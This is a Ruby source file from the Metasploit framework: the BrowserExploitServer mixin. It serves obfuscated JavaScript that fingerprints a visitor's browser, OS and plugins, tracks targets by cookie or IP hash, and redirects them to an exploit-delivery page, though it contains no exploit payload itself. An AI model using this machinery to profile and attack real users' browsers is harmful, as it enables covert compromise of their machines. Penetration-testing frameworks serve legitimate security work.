Files
metasploit-gs/lib/msf/core/exploit/browser/server.rb
T
2013-10-31 14:34:38 -05:00

339 lines
9.9 KiB
Ruby

# -*- coding: binary -*-
require 'erb'
require 'rex/exploitation/js'
###
#
# The BrowserExploitServer mixin provides methods to acheive common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
#
###
module Msf
module Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super
# Profile structure:
# {
# 'cookie' =>
# {
# 'os_name' => 'Windows',
# 'os_flavor' => 'something'
# ...... etc ......
# }
# }
# A profile should at least have info about the following:
# tag : Hash key. This is either an actual cookie, or a MD5 hash of target IP + user-agent
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
# should be more accureate in some scenarios like browser compatibility mode
# :ua_name : The name of the browser
# :ua_ver : The version of the browser
# :os_name : The name of the OS
# :language: The system's language
# :arch : The system's arch
# :proxy : Indicates whether proxy is used
#
# For more info about what the actual value might be for each key, see HttpServer.
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
@target_profiles = []
# Requirements are conditions that the browser must have in order to be exploited.
# They must be defined by the module, and the mixin should check them before the
# exploit is actually deployed.
@requirements = {}
@info_receiver_page = "info"
@exploit_receiver_page = "exploit"
@noscript_receiver_page = "noscript"
register_options(
[
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
], Exploit::Remote::BrowserExploitServer)
end
#
# Returns the resource (URI) to the module
# Similar to get_resource, this method will allow whatever is requesting this URI to access
# on_request_exploit
#
def get_module_resource
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
end
#
# Defines requirements by the module.
# The keys the module can define are the same as the ones in @target_profiles
#
def requirements(reqs={})
@requirements = reqs
end
#
# Returns an array of items that do not meet the requirements
#
def has_bad_requirements?(target_profile)
profile = target_profile[target_profile.first[0]]
bad_reqs = []
@requirements.each do |k, v|
if v.class == Regexp
bad_reqs << k if profile[k] !~ v
else
bad_reqs << k if profile[k] != v
end
end
bad_reqs
end
#
# Returns the target profile based on the tag
#
def get_profile(tag)
@target_profiles.each do |profile|
return profile if profile[tag]
end
nil
end
#
# Updates information for a specific profile
#
def update_profile(target_profile, key, value)
target_profile[target_profile.first[0]][key] = value
end
#
# Initializes a profile
#
def init_profile(tag)
@target_profiles << {tag => {}}
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
def retreive_tag(request)
tag = request.headers['Cookie'].to_s
if tag.blank?
# Browser probably doesn't allow cookies, plan B :-/
ip = cli.peerhost
os = request.headers['User-Agent']
tag = Rex::Text.md5("#{ip}#{os}")
end
tag
end
#
# Registers target information to @target_profiles
# Acceptable sources include :script, and :headers
#
def process_user_info(source, cli, request)
tag = retreive_tag(request)
# Browser doesn't allow cookies. Can't track that, use a different way to track.
init_profile(tag) if request.headers['Cookie'].blank?
target_profile = get_profile(tag)
# Gathering target info from the detection stage
case source
when :script
# Gathers target data from a POST request
update_profile(target_profile, :source, 'script')
raw = Rex::Text.decode_base64(Rex::Text.uri_decode(request.body))
raw.split('&').each do |item|
k, v = item.scan(/(\w+)=(.*)/).flatten
update_profile(target_profile, k.to_sym, v)
end
when :headers
# Gathers target data from headers
# This may be less accureate, and most likely less info.
fp = fingerprint_user_agent(request.headers['User-Agent'])
# Module has all the info it needs, ua_string is kind of pointless.
# Kill this to save space.
fp.delete(:ua_string)
update_profile(target_profile, :source, 'headers')
fp.each do |k, v|
update_profile(target_profile, k.to_sym, v)
end
end
# Other detections
update_profile(target_profile, :proxy, has_proxy?(request))
update_profile(target_profile, :language, request.headers['Accept-Language'] || '')
report_client({
:host => cli.peerhost,
:ua_string => request.headers['User-Agent'],
:ua_name => target_profile[tag]['ua_name'],
:ua_ver => target_profile[tag]['ua_ver']
})
end
#
# Checks if the target is running a proxy
#
def has_proxy?(request)
proxy_list =
[
'HTTP_VIA', 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED',
'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'VIA', 'X_FORWARDED_FOR',
'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP',
'HTTP_PROXY_CONNECTION'
].each do |name|
return true if request[name]
end
false
end
#
# Returns the code for client-side detection
#
def get_detection_html
js = ::Rex::Exploitation::JSObfu.new %Q|
#{js_base64}
#{js_os_detect}
#{js_addons_detect}
#{js_ajax_post}
function objToQuery(obj) {
var q = [];
for (var key in obj) {
q.push(key + '=' + obj[key]);
}
return escape(Base64.encode(q.join('&')));
}
window.onload = function() {
var osInfo = window.os_detect.getVersion();
var d = {
"os_name" : osInfo.os_name,
"os_flavor" : osInfo.os_flavor,
"ua_name" : osInfo.ua_name,
"ua_ver" : osInfo.ua_version,
"arch" : osInfo.arch,
"office" : window.addons_detect.getMsOfficeVersion()
};
var query = objToQuery(d);
postInfo("#{get_resource}/#{@info_receiver_page}/", query);
window.location = "#{get_resource}/#{@exploit_receiver_page}/";
}
|
js.obfuscate
%Q|
<script>
#{js}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource}/#{@noscript_receiver_page}/">
<meta http-equiv="refresh" content="1; url=#{get_resource}/#{@exploit_receiver_page}/">
</noscript>
|
end
#
# Handles exploit stages.
#
def on_request_uri(cli, request)
case request.uri
when /^#{get_resource}$/
#
# This is the information gathering stage
#
print_status("Gathering target information.")
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
init_profile(tag)
html = get_detection_html
send_response(cli, html, {'Set-Cookie' => tag})
when /#{@info_receiver_page}/
#
# The detection code will hit this if Javascript is enabled
#
process_user_info(source=:script, cli, request)
send_response(cli, '')
when /#{@noscript_receiver_page}/
#
# The detection code will hit this instead of Javascript is disabled
# Should only be triggered by the img src in <noscript>
#
process_user_info(source=:headers, cli, request)
send_not_found(cli)
when /#{@exploit_receiver_page}/
#
# This sends the actual exploit. A module should define its own
# on_request_exploit() to get the target information
#
tag = retreive_tag(request)
target_profile = get_profile(tag)
if target_profile[tag][:tried] and datastore['Retries'] == false
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else
update_profile(target_profile, :tried, true)
bad_reqs = has_bad_requirements?(target_profile)
if bad_reqs.empty?
method(:on_request_exploit).call(cli, request, target_profile)
else
print_error("Exploit requirement(s) not met: #{bad_reqs * ', '}")
send_not_found(cli)
end
end
else
send_not_found(cli)
end
end
#
# Overriding method. The module should override this.
#
def on_request_exploit(cli, request, target_info)
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
def send_exploit_html(cli, template, headers={})
html = ERB.new(template).result
send_response(cli, html)
end
end
end
=begin
* Still need to implement:
- Function for target-specific payload
- Testing (different platforms/browsers/scenarios). At least test these common setups:
* Windows: Latest Chrome, Internet Explorer 6/7/8/9/10, latest Firefox, latest Opera, latest Safari
* OSX: Safari, Chrome, Firefox
* Linux: Firefox, Chrome
- Rspec
=end